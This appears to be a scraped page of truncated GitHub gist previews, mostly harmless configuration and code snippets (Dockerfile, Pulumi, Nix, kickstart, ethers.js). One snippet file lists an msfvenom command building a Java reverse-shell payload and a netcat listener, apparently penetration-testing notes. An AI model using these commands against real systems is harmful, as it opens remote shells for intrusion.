This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { Contract, getDefaultProvider, utils } from "ethers"; | |
const provider = getDefaultProvider("homestead"); | |
const abi = [ | |
"function symbol() view returns (string)", | |
"function decimals() view returns (uint8)", | |
"event Transfer(address indexed from, address indexed to, uint value)", | |
]; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM xtruder/debian-nix-devcontainer:flakes | |
# docker user | |
ARG DOCKER_GID=966 | |
RUN groupadd -g ${DOCKER_GID} docker && usermod -a -G docker ${USERNAME} | |
# create volume for pulumi | |
RUN sudo -u user mkdir -p /home/${USERNAME}/.pulumi | |
VOLUME /home/${USERNAME}/.pulumi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM xtruder/debian-nix-devcontainer:flakes | |
# docker user | |
ARG DOCKER_GID=966 | |
RUN groupadd -g ${DOCKER_GID} docker && usermod -a -G docker ${USERNAME} | |
# create volume for pulumi | |
RUN sudo -u user mkdir -p /home/${USERNAME}/.pulumi | |
VOLUME /home/${USERNAME}/.pulumi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import * as path from 'path'; | |
import * as pulumi from '@pulumi/pulumi'; | |
import * as k8s from '@pulumi/kubernetes'; | |
import { filesDir } from './util'; | |
interface OperatorLifecycleManagerArgs { | |
namespace?: pulumi.Input<string>; | |
imageRef?: pulumi.Input<string>; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import csv | |
import argparse | |
import sys | |
import requests | |
parser = argparse.ArgumentParser() | |
parser.add_argument("--csv", help="CSV to import", required=True) | |
parser.add_argument("--encoding", help="File encoding", default="utf-8") | |
parser.add_argument("--token", help="API token to use", required=True) | |
parser.add_argument("--consumerkey", help="Consumer key token to use", required=True) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mnemonic | |
libagent | |
ecdsa |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#version=DEVEL | |
# OSTree setup | |
ostreesetup --osname="fedora" --remote="fedora" --url="https://d2uk5hbyrobdzx.cloudfront.net/" --ref="fedora/32/x86_64/silverblue" --nogpg | |
# Reboot after installation | |
reboot | |
# Use text mode install | |
text | |
# Use network installation | |
url --url="https://ftp.fau.de/fedora/linux/releases/32/Everything/x86_64/os/" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ pkgs, lib, ...}: { | |
imports = [ | |
./nixos/modules/profiles/minimal.nix | |
]; | |
boot.isContainer = true; | |
boot.specialFileSystems = lib.mkForce {}; | |
networking.hostName = ""; | |
services.journald.console = "/dev/console"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[[snippets]] | |
description = "create java reverse shell" | |
command = "msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.21 LPORT=4444 -f war > shell.war" | |
tag = ["reverse", "shell", "java", "metasploit", "msfvenom"] | |
output = "" | |
[[snippets]] | |
description = "listen for reverse shell" | |
command = "nc -tnlvp 4444" | |
tag = ["reverse", "shell", "netcat"] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
set -xe | |
target_user="$1" | |
target_home=$(getent passwd $target_user | cut -f6 -d:) | |
# Find free display number | |
for ((display_number=1 ; display_number <= 100 ; display_number++)) ; do | |
[ -e /tmp/.X11-unix/X$display_number ] || break |